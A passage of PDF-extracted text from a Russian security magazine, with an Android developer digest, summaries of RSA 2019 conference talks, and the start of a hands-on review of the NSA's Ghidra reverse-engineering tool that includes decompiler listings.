к  излишней  фоновой  активнос ти  (в  час тнос ти,  сис тема  начина ла
обновлять при ложе ния). Теперь эму лятор «работа ет» на батарей ке.

2. Воз можность  оста новить  эму лятор.  Появи лись  две  ADB‐коман ды,  поз‐ 
воля ющие пол ностью при оста новить/возоб новить работу эму лято ра:

$ adb emu avd pause
$ adb emu avd resum

При сбор ке и уста нов ке при ложе ния эму лятор будет раз бужен авто мати‐ 
чес ки.

3. Оп тимиза ция  механиз ма  отри сов ки.  Новый  механизм  поз волил  на  8%
улуч шить про изво дитель ность стрес сового при ложе ния.

4. Оп тимиза ция  I/O‐кода  на macOS. Вер сия  для macOS  теперь  исполь зует
сис темный  вызов  kqueue  вмес то  select  для  монито рин га  дис ковых  опе‐ 
раций. Это поз волило сок ратить овер хед с 10 до 3%.

5. Headless‐режим.  Теперь  эму лятор  мож но  запус тить  без  интерфей са
и вывода кар тинки на экран. Эту фун кцию мож но исполь зовать для запус ка
авто мати зиро ван ных UI‐тес тов.

Гра фик исполь зования про цес сора. Сле ва: при работе от сети
и фоновом обновле нии при ложе ний. Спра ва: при работе от акку муля ‐
тора

Вред (некото рых) выраже ний Kotlin
 — статья о вре де исполь зования

некото рых язы ковых конс трук ций Kotlin.
Advocating against  (some) Kotlin expressions

Ког да  ты  прог рамми руешь  на  Kotlin,  пла гин  Android  Studio  нас тоятель но
пред лага ет  кон верти ровать  все  под ряд  в  выраже ние.  Осо бен но  раз дра‐ 
жающим  это  быва ет,  нап ример,  ког да  пла гин  пред лага ет  вынес ти 
из условно го опе рато ра или опе рато ра выбора. Прос той при мер:

return

Проб лема это го кода в том, что он отры вает кон текст от зна чения. Кон крет но
этот  при мер  не  рас кры вает  проб лему  целиком,  но  пред ставь,  что  опе ратор
выбора получил ся дей стви тель но длин ным и не уме щает ся целиком на экран.
Ты видишь кусок кода и зада ешь ся воп росом: а что это вооб ще?

Те бе при ходит ся про маты вать  код вверх,  что бы прос то узнать,  что про исхо‐ 
дит со зна чени ем   даль ше. А теперь пред ставь, что ты чита ешь diff
на GitHub, который, кро ме изме нен ной стро ки, показы вает толь ко три стро ки
кода свер ху и сни зу.

rawPizza

Вы вод:  исполь зование  подоб ных  выраже ний  име ет  смысл  толь ко
для однос троч ных вет вле ний, которые прос то воз вра щают зна чение.

Ус коря ем Android Studio
 — крат‐ 

кая статья об уско рении Android Studio, инте рес ная толь ко наличи ем спис ка
пла гинов, которые мож но без болез ненно отклю чить в 90% слу чаев:

Is Your Android Studio Always Slow? Here’s How to Speed Up Immediately

Android APK Support;•
Android Games;•
Android NDK;•
App Links Assistant;•
Copyright;•
Coverage;•
CVS Integration;•
Editor Config;•
Fabric for Android Studio;•
Firebase (App Indexing, Services, Testing);•
GitHub;•
Google (Cloud Tools Core, Cloud Tools for Android, Developer Samples, Login,
Services);

•

Markdown Support;•
Mercurial integration;•
hg4idea;•
Settings repository;•
Subversion integration;•
Task management;•
Test recorder;•
TestNG‐J;•
YAML.•

ИНСТРУМЕНТЫ

  —  уни вер саль ный  дам пер  памяти  на  осно ве  Frida,  сов местим
с iOS, Android и Windows;

• fridump3

 — инс тру мент для генера ции локали зован ной базы строк из CSV‐
фай ла.

• Stringer

БИБЛИОТЕКИ

 — кас томизи руемая ани миро ван ная панель навига‐ 
ции для ниж ней час ти экра на при ложе ния;

• ExpandableBottomBar

 — еще одна панель навига ции;• bubble‐navigation
 — биб лиоте ка для прос мотра содер жимого базы дан‐ 

ных при ложе ния пря мо на устрой стве;
• android_dbinspector

 — фоновое изоб ражение с гра фиком;• Android‐BackgroundChart
  —  кас томный  TextView,  поз воля ющий  показы вать  боль ше

тек ста по кли ку на ссыл ку (нап ример, «Под робнее»);
• ShowMoreText

 — биб лиоте ка для управле ния кон фигура цией Wi‐Fi
дру гих устрой ств через Nearby API;

• headless‐wifi‐manager

  —  оче ред ная  биб лиоте ка  краш‐репор тинга,  показы вает  окно
с информа цией об ошиб ке при падении при ложе ния;

• crashx

  —  мно жес твен ный  прог ресс‐бар  в  сти ле  Instagram
Stories;

• MultiProgressBar

  —  биб лиоте ка  для  очис тки  логов  от  важ ной  пер сональ ной
информа ции;

• mr‐clean

 — биб лиоте ка для реали зации ска нера штрих‐кодов;• KBarcode
  —  эффек тная  реали зация  стра ницы  про филя  поль зовате ля/

авто ра/героя;
• ProfileBar

  —  одно нап равлен ный  state‐кон тей нер  для  хра нения  сос тояния
объ ектов;

• Kaskade

 — биб лиоте ка визу али зации аудио;• audio‐visualizer‐android
  —  биб лиоте ка  для  обрезки  изоб ражений,  учи тыва ющая

положе ние объ ектов.
• glimpse‐android
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https://xakep.ru/2018/03/19/android-frida/
https://medium.com/@ragdroid/kotlin-when-if-else-is-too-mainstream-acc4b91c2416
https://proandroiddev.com/how-reified-type-makes-kotlin-so-much-better-7ae539ed0304
https://handstandsam.com/2019/02/24/when-you-should-use-null-in-kotlin/
https://medium.com/androiddevelopers/android-emulator-project-marble-improvements-1175a934941e
https://proandroiddev.com/advocating-against-kotlin-expressions-73acfa819ca7
https://android.jlelse.eu/is-your-android-studio-always-slow-heres-how-to-speed-up-immediately-326ef9238024
https://github.com/rootbsd/fridump3
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https://github.com/infinum/android_dbinspector
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https://github.com/mahimrocky/ShowMoreText
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https://github.com/GeniusRUS/MultiProgressBar
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Пред став ляем  на  твой  суд  семер ку  док‐ 
ладов, которые мы выб рали из матери алов
про шед шей  в  мар те  2019  года  аме рикан‐ 
ской  кон ферен ции RSA. Это  одно  из  глав‐ 
ных  мероп риятий,  свя зан ных  с  кибер‐ 
безопас ностью,  так  что  выбирать  было
из  чего.  Тех ники  взло ма,  акту аль ные  угро‐ 
зы, мод ные трен ды и методы защиты — мы
пос тарались сде лать под борку мак сималь‐ 
но поз наватель ной и сба лан сирован ной.

РАДИОХАКИНГ: ВЗЛАМЫВАЕМ IOT И OT ЧЕРЕЗ SDR
RF Exploitation: IoT and OT Hacking with Software‐Defined Radio

Что обще го меж ду ата кой на сирену, пре дуп режда ющую о тор надо в Дал ласе,
взло ман ными элек три чес кими скей тбор дами и небезо пас ными умны ми двер‐ 
ными  зам ками?  Уяз вимые  про токо лы  ради освя зи!  Количес тво  IoT‐устрой ств
рас тет  угро жающи ми  тем пами.  В  соф те,  исполь зуемом  эти ми  мно гочис‐ 
ленны ми  устрой ства ми,  отсутс тву ют  базовые  меры  безопас ности,  которые
в обыч ном компь ютер ном соф те мы счи таем само собой разуме ющи мися.

Кро ме  того,  для  IoT  прак тичес ки  не  сущес тву ет  рекомен даций  по  обес‐ 
печению безопас ности. Неуди витель но, что пос ледние годы отме тились рез‐ 
ким всплес ком количес тва экс пло итов для ради оха кин га. При чем охват этих
экс пло итов  не  огра ничи вает ся  сетями  802.11.  Узкоспе циали зиро ван ные
и проп риетар ные про токо лы тоже ока зались в зоне вни мания ради оха керов.
Устрой ства варь иру ются от медицин ских до  .OT‐девай сов

Хо тя  ради опро токо лы,  отличные от Wi‐Fi,  для мно гих  тех нарей  пред став‐ 
ляют собой тай ну, пок рытую мра ком, взла мывать их нам ного про ще, чем мож‐ 
но было бы ожи дать. SDR плюс уме лые руки, и дело в шля пе. В чер ной шля пе.
Док ладчик  рас ска зыва ет  о  рас простра нен ных  проб лемах  безопас ности
и повер хнос тях атак в сис темах бес про вод ной свя зи. Объ ясня ет,  как мож но
без  осо бого  тру да  взла мывать  бес про вод ные  сети.  Демонс три рует  изощ‐ 
ренные  при меры.  Объ ясня ет,  как  обна ружи вать  IoT‐устрой ства,  ана лизи‐ 
ровать их безопас ность и кон фиден циаль ность.

«ДЛЯ ЭТОГО ТОЖЕ ЕСТЬ ИНСТРУМЕНТ!»: СОВЕТЫ, УТИЛИТЫ И
ТЕХНИКИ ДЛЯ ТВОЕГО ПРОФЕССИОНАЛЬНОГО АРСЕНАЛА

 (PDF)Cybersecurity Tips, Tools and Techniques for Your Professional Toolbag

Эта  насыщен ная  прак тичес кой  информа цией  пре зен тация  пред став ляет
собой  обновлен ную  вер сию  чрез вычай но  популяр ного  док лада  2018  года.
Тебя ждет ско рос тной обзор наибо лее полез ных для безопас ника при ложе‐ 
ний и луч ших прак тик: для тес тирова ния защищен ности, для рас сле дова ний,
для  адми нис три рова ния  и  для  решения  мно гих  дру гих  пов седнев ных  задач
безопас ника.

Из док лада ты узна ешь о луч ших прак тиках исполь зования Kali Linux, Win‐
dows Sysinternals Suite, VMware, Wireshark, Nmap. Тебя ждут инте рес ные хит‐ 
рости и трю ки, которые помогут упростить работу. Речь так же пой дет об инс‐ 
тру мен тах для OSInt и сбо ра информа ции на веб‐сай тах; док ладчик рас ска‐ 
жет,  как  нас тро ить  вир туаль ную  лабора торию  в  домаш них  усло виях  и  какие
при ложе ния луч ше все го под ходят для это го, какие при ложе ния для пен теста
и DevSecOps дол жны обя затель но быть в арсе нале любого безопас ника, где
искать качес твен ную информа цию для про веде ния кор поратив ных тре нин гов,
приз ванных повысить осве дом ленность сот рудни ков.

Рас смат рива емые инс тру мен ты в основном бес плат ные и ори енти рова ны
на малые и сред ние пред при ятия и на домаш них поль зовате лей. В чис ле про‐ 
чего док ладчик делит ся совета ми,  которые помогут  тебе избе жать неп рият‐ 
ностей  при  исполь зовании  рекомен дуемых  им  прог рамм.  Ведь  в  неуме лых
руках они могут при нес ти боль ше вре да, чем поль зы.

Док ладчик  в  чис ле  про чего  рас ска зыва ет  о  том,  как  пос редс твом  вир‐ 
туали зации (на осно ве VMware и VirtualBox и дис три бути вов Kali, Taro и Parrot)
соз дать  собс твен ную  лабора торию  тес тирова ния,  в  которой  ты  смо жешь
упражнять ся со все ми инс тру мен тами без рис ка обру шить сис тему.

Но не весь док лад пос вящен Linux. Док ладчик так же демонс три рует полез‐ 
ные инс тру мен ты для Windows, в том чис ле Sysinternals Suite. Сре ди нов шеств
по  срав нению  с  одно имен ным  док ладом  за  прош лый  год:  под систе ма Win‐
dows  для  Linux,  Open  Source  Intelligence  (OSInt),  которая  исполь зует ся
для  отве та  на  воп рос  «какая  информа ция  о  моей  орга низа ции  дос тупна
в интерне те».

Из док лада ты так же узна ешь,  как при менять такие мощ ные инс тру мен ты
тес тирова ния, как Social Engineering Toolkit, Metasploit и OWASP ZAP, которы ми
пен тесте ры поль зуют ся на пов седнев ной осно ве. Одна ко на этих инс тру мен‐ 
тах свет кли ном не сошел ся. Есть мно жес тво отсы лок к стан дартам и дру гим
полез ным  матери алам,  в  том  чис ле  любимым  чит шитам  док ладчи ка.  Все
ссыл ки ты най дешь в  .PDF‐вер сии док лада

СПЕЦИАЛИСТЫ MCAFEE ПРИЗНАЮТСЯ, ЧТО БОЯТСЯ
ИСКУССТВЕННОГО ИНТЕЛЛЕКТА
Lightning in a Bottle, or Burning Down the House?

Нас коль ко  искусс твен ный  интеллект  полезен  в  ИБ?  Счи тает ся,  что  с  его
помощью  мож но  дос тичь  пот ряса ющих  резуль татов,  но  и  вре да  увле чение
машин ным  обу чени ем  и  про чими фор мами ИИ может  наделать  не мень ше.
В этом док ладе спе циалист McAfee делит ся сво ими опа сени ями и опи сыва ет
те  огра ниче ния,  которые  обя затель но  нуж но  учи тывать  при  внед рении  сис‐ 
тем, осно ван ных на ИИ.

Да, с помощью искусс твен ного интеллек та мож но клас сифици ровать мал‐ 
варь и делать дру гие полез ные вещи, но нуж но пом нить, нас коль ко эти сис‐ 
темы хруп кие. Зло умыш ленник может исполь зовать их недос татки в качес тве
нового  век тора  ата ки  и  исполь зовать  осо бен ности  соф та,  осно ван ного
на ИИ, про тив сис тем, которые он был приз ван защищать.

ЭКСПЕРТЫ ИНСТИТУТА SANS ПЕРЕЧИСЛЯЮТ НАИБОЛЕЕ
ОПАСНЫЕ МЕТОДЫ КИБЕРАТАК
The Five Most Dangerous New Attack Techniques and How to Counter Them

Ка кие кибера таки на сегод няшний день самые опас ные? Как они работа ют?
Как их отра зить? Что будет даль ше и как под готовить ся? Док лад сот рудни ков
инсти тута SANS отве чает на все эти воп росы. Для SANS ста ло еже год ной тра‐ 
дици ей озву чивать горячую пятер ку кибера так. Вот три из них (осталь ные най‐ 
дешь в пре зен тации):
1. Ма нипу лиро вание  DNS‐инфраструк турой  целевых  пред при ятий.  Хакеры
поль зуют ся  логина ми  и  пароля ми,  добыты ми  на  ран ней  ста дии  кибера‐ 
таки, —  логинят ся  в DNS  и  в  регис тра торы  имен  и манипу лиру ют  отту да
DNS‐запися ми. В ито ге элек трон ная поч та, которая нап равля ется на пред‐ 
при ятие, фак тичес ки дос тавля ется зло дею, а не пред при ятию.

2. Domain Fronting — тех ника, которая скры вает мес тополо жение ата кующе‐ 
го.

3. Экс плу ата ция уяз вимос тей мик ропро цес соров.

Кро ме  того,  мно гие  кибер зло деи  теперь  пря чут ся  за  пеленой  обла ка  —
и выс тавля ют себя в качес тве одно го из доверен ных облачных про вай деров.
А пос коль ку информа ция,  которая изна чаль но попала в одно обла ко, может
шарить ся  сра зу  меж ду  нес коль кими  сер висами,  она  ока зыва ется  лег кой
добычей для  того,  кто ее ищет. Отсле живать  всю цепоч ку  обме на дан ными,
что бы най ти зло наме рен ные звенья, не всег да прос то. В общем, вывод ожи‐ 
даемый:  чем  ленивее  мы  дела емся  и  чем  боль ше  полага емся  на  раз ные
облачные сер висы, тем дос тупней лич ная информа ция ста новит ся для кибер‐ 
зло деев.

ИЗОЩРЕННУЮ С&C-МАЛВАРЬ МОЖНО ОТЛАВЛИВАТЬ
БЕСПЛАТНЫМИ ИНСТРУМЕНТАМИ

 (PDF)Hunt Advanced Attackers on a Budget Less than the GDP of a Small Country

Иден тифици ровать тра фик, генери руемый мал варью, весь ма неп росто. Сов‐ 
ремен ные  вре доно сы  уме ют  неп лохо  пря тать ся,  шиф ровать ся  и  скры вать
свое  C&C‐ядро.  Поэто му  защит ные  механиз мы,  пос тро енные  на  осно ве
поис ка  сиг натур,  сегод ня  уже  нес пособ ны  отлавли вать  их.  Резуль таты  пен‐ 
тестов  показы вают,  что  уяз вимыми  ока зыва ются  даже  те  пред при ятия,
в которых воп росу кибер безопас ности уде ляет ся серь езное вни мание.

Од нако отлавли вать мал варь, име ющую коман дный центр, все‐таки мож‐ 
но.  Обыч но  вре донос ный  код  свя зыва ется  с  C&C  через  оди нако вые  про‐ 
межут ки вре мени и при этом генери рует харак терный тра фик, в котором мож‐ 
но выявить законо мер ные шаб лоны. Док ладчик рекомен дует бес плат ный инс‐ 
тру мент    собс твен ной  раз работ ки.  Он  эффектив но  ана лизи рует  тра фик
исхо дящих  соеди нений,  и,  исполь зуя  его  в  ком плек се  с  Bro/Zeek,  мож но
гораз до лег че обна ружи вать сле ды, оставлен ные C&C‐мал варью.

RITA

КАК БЕЗОПАСНИКУ ПОДТОЛКНУТЬ ПОЛЬЗОВАТЕЛЯ К НУЖНОМУ
ПОВЕДЕНИЮ

 (PDF)The Art of the Nudge: Cheap Ways to Steer User Behavior

Те бе  доводи лось  бывать  в  кафе,  где  в  меню  под счи таны  калории,  что бы
помочь  тебе  сде лать  осоз нанный  выбор  в  поль зу  здо ровой  пищи?
Это  хороший  при мер  тех ники,  которая  не  пыта ется  манипу лиро вать  поль‐ 
зовате лем,  а  взы вает  к  его  здра вому  смыс лу  и  ненавяз чиво  под талки вает
к  пра виль ному  решению.  Неч то  подоб ное  мож но  делать  и  для  улуч шения
информа цион ной  гиги ены!  Кон крет ные  при емы  зависят  от  вре мени,  мес та
и обсто ятель ств, но есть три клю чевых фак тора, которые игра ют реша ющую
роль в успе хе каж дого из них:

при ем дол жен вклю чать в себя вычис ление понят ной мет рики — наподо‐ 
бие пот реблен ных челове ком калорий;

•

при ем дол жен спо собс тво вать выработ ке луч шего или более раци ональ‐ 
ного решения;

•

он дол жен опи рать ся на ког нитив ные пре дубеж дения челове ка.•

Нап ример,  вот  две  типич ные  проб лемы,  которые  уже  прев ратились  в  хро‐ 
ничес кую  голов ную  боль  для  безопас ников:  пер вая  —  поль зовате ли  рас‐ 
печаты вают  кон фиден циаль ную  информа цию  и  кла дут  ее  на  рабочий  стол,
где  она  оста ется,  даже  ког да  они  ухо дят  на  обед;  вто рая  —  поль зовате ли
отправ ляют  элек трон ную  поч ту  с  кон фиден циаль ной  информа цией  тем,  кто
не упол номочен получать ее.

Ка кие  при емы  мож но  при думать  для  решения  этих  проб лем?  Что бы
побудить  поль зовате лей  перес тать  рас печаты вать  стра ницы  с  кон фиден‐ 
циаль ной  информа цией,  мож но,  к  при меру,  сде лать  такой  пси холо гичес кий
барь ер:  документ  отправ ляет ся  на  печать  толь ко  пос ле  того,  как  поль‐ 
зователь вво дит в всплы вающем окне обос нование — зачем его рас печатать.

Для  элек трон ной поч ты мож но под клю чить модуль,  который будет искать
по клю чевым сло вам и показы вать поль зовате лю, какая в его пись ме содер‐ 
жится кон фиден циаль ная информа ция.

Прос лушав  выс тупле ние,  ты  научишь ся  самос тоятель но  при думы вать
такие при емы по алго рит му, который пред ста вил док ладчик.

УРОКИ, ИЗВЛЕЧЕННЫЕ ЗА ТРИДЦАТЬ ЛЕТ ПРОВЕДЕНИЯ
ТРЕНИНГОВ НА ПОВЫШЕНИЕ ОСВЕДОМЛЕННОСТИ
Lessons Learned from 30+ Years of Security Awareness Efforts

Док ладчик делит ся опы том из сво ей трид цатилет ней прак тики: рас ска зыва ет,
какие  обра зова тель ные  под ходы  сра баты вают  чаще  все го,  а  какие  даже
и про бовать нет смыс ла, раз веивает мно гие рас простра нен ные заб лужде ния
об «осве дом леннос ти о безопас ности». Вот клю чевые тезисы док лада.
1. Сто рител линг  не  панацея. Поделить ся  увле катель ной  исто рией  из жиз ни
о том, как кто‐то стал жер твой соци аль ной инже нерии, и затем, опи раясь
на этот рас сказ, посове товать что‐то вро де «Вот при емы, которы ми поль‐ 
зуют ся  соци аль ные  инже неры.  Не  под давай тесь  на  них!»  —  это  один
из самых рас простра нен ных и в то же вре мя один из самых бес полез ных
спо собов защиты от соци аль ной инже нерии.

2. Ос ведом ленность о безопас ности — это лишь стра тегия сни жения рис ка,
а не стоп роцен тная защита.

3. За каж дым «тупым юзве рем» сто ит еще более тупой безопас ник.
4. Не упус кай из виду реаль ные цели повыше ния осве дом леннос ти.
5. Ища  науч ную  опо ру,  надо  сос редота чивать ся  на  соци оло гии,  а  не  пси‐ 
холо гии.

6. Гей мифика ция — это не игра.
7. От талки вай ся  от  опы та  тра дици онной  физичес кой  безопас ности.  В  этой
области изу чает ся поведе ние, которое при водит к улуч шению. Здесь про‐ 
водит ся мно го иссле дова ний, потому что трав мы на рабочем мес те сто ят
боль ших  денег.  Спе циалис ты  в  области  безопас ности  зна ют,  что  90%
травм на рабочем мес те — это резуль тат воз дей ствия окру жающей сре ды.
То  есть  усло вий,  спо собс тву ющих  при чине нию  травм.  Лишь  10%  —
это резуль тат неб режнос ти и невыпол нения про цедур.

8. Куль тура  —  луч ший  инс тру мент  осве дом леннос ти.  У  тво ей  ком пании
может  быть  луч шая  в  мире  прог рамма  повыше ния  осве дом леннос ти.
Но если поль зователь‐новичок, выходя на работу, видит, что его соб ратья
ведут  себя  неп равиль но,  он  естес твен ным  обра зом  будет  пос тупать  так
же.  Ана логич но  —  если  прог раммы  повыше ния  осве дом леннос ти  нет,
но  все  естес твен ным  обра зом  ведут  себя  безопас но,  то  новичок  тоже
перей мет такое поведе ние.

Пол ный каталог матери алов с RSAC 2019 ты най дешь  .
Если  тебе  приг лянулось  что‐то  инте рес ное,  что мы  упус тили  в  этом  спис ке,
не забудь поделить ся наход кой в ком мента риях!

на сай те кон ферен ции
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В мар те 2019 года Агентство наци ональ ной
безопас ности  США  (NSA)  опуб ликова ло
инс тру мен тарий  для  реверс‐инжи нирин га
под наз вани ем Ghidra. Пару лет назад я уже

  это  наз вание  из  уте чек  на  сай те
WikiLeaks и был весь ма заин тересо ван, чем
же поль зуют ся в NSA для ревер са. Нас тала
пора  удов летво рить  любопытс тво  и  пос‐ 
мотреть,  хороша  ли  бес плат ная  «Гид ра»
в  срав нении  с  зареко мен довав шими  себя
инс тру мен тами.

слы шал

Проб лема доверия
АНБ в рам ках прог раммы Technology Transfer Program уже откры ло исходные
коды  32  про ектов  (   мож но  пос мотреть  на  GitHub).  Конеч но,
не  обхо дит ся  без шуточек  о  том,  что  АНБ будет  исполь зовать  эти  средс тва
для сле жения за поль зовате лями. С одной сто роны, конеч но,  код про дук тов
открыт, а их поль зовате ли дос таточ но хар дкор ны, что бы не поленить ся про‐ 
вес ти аудит. С дру гой — пер вый же косяк нашел ся сра зу пос ле релиза Ghidra.

пол ный  спи сок

Бри тан ский ИБ‐эксперт и гла ва Hacker House Мэттью Хики (Matthew Hick‐
ey)  заметил,  что  в  отла доч ном  режиме  инс тру мент  Ghidra  откры вает  и  слу‐ 
шает  порт  18001.  Это  поз воля ет  под клю чить ся  к  Ghidra  уда лен но,  через
JDWP, — разуме ется, с целью все той же отладки. Хики отме чает, что испра‐ 
вить проб лему сов сем нес ложно — дос таточ но поменять стро ку 150 в фай ле

 со звез дочки на 127.0.0.1.support/launch.sh
Пос тепен но  всплы вают  и  дру гие  баги.  Нап ример,  была 

 экс плу ати ровать XXE при усло вии, что поль зователь Ghidra откро ет
спе циаль но сфор мирован ный про ект. Так что будь начеку!

най дена  воз‐ 
можность

Ска чать Ghidra мож но с офи циаль ного сай та  ,  но  есть  неболь‐ 
шая проб лема: сайт недос тупен из рос сий ских сетей  (и, по некото рым дан‐ 
ным,  из  канад ских).  Но  я  думаю,  что  это  не  пре пятс твие  для  читате лей
«Хакера». Мож но вос поль зовать ся любым VPN или на край ний слу чай Tor.

ghidra‐sre.org

Ар хив Ghidra в рас пакован ном виде

Итак, ты ска чал архив   и рас паковал его. Давай
нем ного про бежим ся по основным пап кам и пос мотрим, что в них.

ghidra_9.0_PUBLIC_20190228

Нас тоятель но рекомен дую заг лянуть в пап ку docs — там мно го информа‐ 
ции о  самой Ghidra,  о  раз работ ке  пла гинов  для  нее  и  обзор основных  воз‐ 
можнос тей в виде слай дов и докумен тов PDF. Вся информа ция, естес твен но,
на англий ском.

Да лее идут пап ки с лицен зиями — в них ничего инте рес ного. В пап ке serv‐
er есть инс тру мен тарий для запус ка сер вера уда лен ной отладки. В пап ке sup‐
port  соб раны  вспо мога тель ные  инс тру мен ты,  без  которых  прог рамма
работать не будет.

В пап ке Ghidra уже инте рес нее: в Processors мож но озна комить ся со все‐ 
ми  под держи ваемы ми  архи тек турами.  Вот  их  пол ный  спи сок:  6502,  68000,
6805, 8051, 8085, AARCH64, ARM, Atmel, CR16, DATA, JVM, MIPS, PA‐RISC, PIC,
PowerPC, Sparc, TI_MSP430, Toy, x86, Z80.

Пап ки с инс трук циями для раз ных архи тек тур

Нас тало вре мя смот реть само при ложе ние! Что бы открыть Ghidra в Windows,
запус каем  ,  в  Linux  —  .  Про ект  написан
в основном на Java, поэто му качай и ставь Java Runtime, если у тебя его нет.

ghidraRun.bat ghidraRun.sh

Ок но соз дания про екта

Пер вым делом нам пред лага ют соз дать про ект, в который мы добавим нуж‐ 
ные  бинар ные  фай лы  для  иссле дова ния.  Пос ле  это го  ста новит ся  активной
икон ка  с  зеленым  дра коном,  которая  и  откро ет  для  нас  CodeBrowser  —
основную сре ду для работы.

Ос новное окно CodeBrowser

Сна чала появ ляет ся окно с тех ничес кой информа цией о заг ружа емом фай ле,
потом  приг лашение  про вес ти  ана лиз  и  выб рать  опции  для  него.  Сог лаша‐ 
емся. Выг лядит основной интерфейс доволь но неп ривыч но — во вся ком слу‐ 
чае, для меня.

CodeBrowser

И вот мы ока зыва емся в заголов ке нашего фай ла. Перед нами струк тура 
,  а  не  точ ка  вхо да.  Инте рес но!  Надо  ска зать,  что  все  поля

отоб ражены кор рек тно, да и выг лядит все более‐менее снос но и информа‐ 
тив но.

IM‐
AGE_DOS_HEADER

INFO

При  пер вом  запус ке  при ложе ния  я  стол кнул ся
с нем ного неудоб ным отоб ражени ем кода и дру‐ 
гих  полей  в  раз личных  окнах  дизас сем бле ра.
Но  все  это  мож но  нас тро ить  при  помощи  спе‐ 
циаль ной  кноп ки  Edit  the  listing  fields  в  вер хнем
пра вом углу каж дого окна.

Спра ва рас полага ется окно деком пилято ра, к нему мы еще вер немся. Там же
есть вклад ка Functions. Давай наж мем на нее.

Вклад ка Functions

Здесь  видим  спи сок  фун кций  с  их  сиг натура ми  —  очень  удоб но,  на  мой
взгляд. Давай выберем какую‐нибудь фун кцию и пос мотрим, что будет.

На чаль ный код дизас сем бли рован ной фун кции

Это  самое  начало фун кции  с  ее  сиг натурой,  переда ваемые  в  нее  зна чения
и их типы, воз вра щаемое зна чение, кон венция вызова и сам дизас сем блер‐ 
ный лис тинг. В самом вер ху есть кноп ка Display Function Graph, я ее выделил
на скрин шоте. Жмем на нее.

Гра фичес кое пред став ление кода в Ghidra

Гра фичес кое пред став ление кода в IDA Pro

При  наведе нии  на  кодовые  бло ки  появ ляет ся  забав ная  ани мация  (вид на
на скрин шоте). Я спе циаль но сде лал два скрин шота одной и той же фун кции:
один в пред став лении гра фа в Ghidra, дру гой — в IDA Pro. Не знаю, как тебе,
но, на мой взгляд, информа тив нее граф в Ghidra. К тому же Ghidra помеча ет
пря мо  в  гра фе  конс трук ции  if…  else.  Я  понимаю,  что  это  все  ребячес тво,
но  лич но  для  меня  гра фичес кое  пред став ление  кода  в  Ghidra  более
информа тив но  и  удоб но,  нежели  в  IDA  Pro.  Кро ме  того,  гра фичес кое  пред‐ 
став ление весь ма гиб ко нас тра ивает ся.

Так же  у Ghidra широкие воз можнос ти поис ка — что бы уви деть все вари‐ 
анты,  дос таточ но  выб рать  в  меню  фрей мвор ка  пункт  Search  и  пос мотреть
выпада ющий спи сок. Нап ример, вот так выг лядит диалог поис ка по стро кам.

Ок но поис ка по стро кам

Еще Ghidra  прек расно  стро ит  перек рес тные  ссыл ки  на  что  угод но —  что бы
вос поль зовать ся  этой  воз можностью,  нуж но  выб рать  в  кон текс тном  меню
пункт  References,  а  далее  выбирать  то,  что  тебя  инте ресу ет.  Кро ме  это го,
в начале каж дой фун кции Ghidra ста рает ся сра зу отоб разить в ком мента риях
перек рес тные ссыл ки на эту фун кцию.

В  Ghidra  есть  встро енный  шес тнад цатерич ный  прос мот рщик.  Что бы  его
уви деть, нуж но открыть меню «Windows → Bytes».

Встро енный HEX‐прос мот рщик

Ghidra  из  короб ки  под держи вает  пат чинг  ассем блер ного  кода.  Что бы  вос‐ 
поль зовать ся  этой  фун кци ей,  нуж но  выделить  строч ку  кода  и  нажать  ком‐ 
бинацию   либо выб рать соот ветс тву ющий пункт в кон текс‐ 
тном  меню.  Есть  инте рес ная  визу аль ная  фиш ка  —  если  выделить
какой‐нибудь  код  в  окне  деком пилято ра,  то  такой  же  код  авто мати чес ки
выделя ется в окне дизас сем блер ного лис тинга.

Ctrl + Shift + G

Вы деле ние кода в Ghidra

Еще  одна  инте рес ная  фиш ка  Ghidra —  это  Script  Manager,  набор  скрип тов
на  все  слу чаи  жиз ни,  пос тавля ющий ся  из  короб ки.  Если  какого‐то  скрип та
не хва тает, разуме ется, его мож но добавить. Все скрип ты написа ны на Java.
Что бы ты понимал, о чем идет речь, при лагаю пол ный лис тинг скрип та 

. Что он дела ет, думаю, понят но из наз вания! :)
Cre‐

ateExportFileForDll.java

import generic.jar.ResourceFile;
import ghidra.app.script.GhidraScript;
import ghidra.app.util.opinion.LibraryLookupTable;

public class CreateExportFileForDLL extends GhidraScript {
 @Override
 public void run() throws Exception {
   // Push this .dll into the location of the system .exports files.
   // Must have write permissions.
   ResourceFile file = LibraryLookupTable.createFile(currentProgram,
false, true, monitor);

   println("Created .exports file : " + file.getAbsolutePath());
 }

}

Скрип ты  мож но  редак тировать  во  встро енном  прос тень ком  редак торе,
а  мож но  откры вать  в  IDE  Eclipse  пря мо  из  кон текс тно го  меню.  Разуме ется,
Eclipse дол жен быть уста нов лен.

Кро ме  того,  есть  раз ные  полез ные  мелочи,  типа  встро енно го  диф фера,
воз можнос ти пат чить код без вся ких допол нитель ных пла гинов, воз можнос ти
смот реть  энтро пию  кода  и  стро ить  дерево  вызовов  в  при ложе нии  (трас су).
Име ется встро енный интер пре татор Python  (не тре бует ся его уста нав ливать
отдель но, как в IDA) и дру гие при ятные фиш ки.

Те перь давай пос мотрим на деком пилятор, который так же идет в ком плек‐ 
те,  а  не  отдель ным  пла гином,  как  в  IDA. При веду  сна чала  резуль тат  работы
деком пилято ра Ghidra, а потом и IDA Pro.

Это лис тинг Ghidra:

undefined8 FUN_1400010b0(void)
{
ushort uVar1;
longlong *plVar2;
LPCSTR lpMultiByteStr;
ushort *puVar3;
longlong *plVar4;
longlong in_GS_OFFSET;
ushort local_d8 [104];

plVar2 = *(longlong **)(*(longlong *)(*(longlong *)(in_GS_OFFSET + 
0x60) + 0x18) + 0x18);
lpMultiByteStr = FUN_140001448(&DAT_140003000);
MultiByteToWideChar(0,1,lpMultiByteStr,‐1,(LPWSTR)local_d8,100);
plVar4 = plVar2;
do {
plVar4 = (longlong *)*plVar4;
if (plVar4[6] != 0) {
 puVar3 = local_d8;
 while( true ) {
   uVar1 = *(ushort *)((plVar4[0xc] ‐ (longlong)local_d8) + (
longlong)puVar3);
   if ((uVar1 == 0) && (*puVar3 == 0)) goto LAB_140001140;
   if ((uVar1 < *puVar3) || (uVar1 >= *puVar3 && uVar1 != *puVar3)) 
break;
   puVar3 = puVar3 + 1;
 }

}
} while (plVar2 != plVar4);
LAB_140001140:
return plVar4[6];
}

А это лис тинг IDA Pro Hex‐Rays:

__int64 sub_1400010B0()
{
unsigned __int64 v0; // rax
_QWORD *v1; // rdi
_QWORD *v2; // rbx
const CHAR *v3; // rax
WCHAR *i; // rax
WCHAR v5; // cx
WCHAR WideCharStr; // [rsp+30h] [rbp‐D8h]

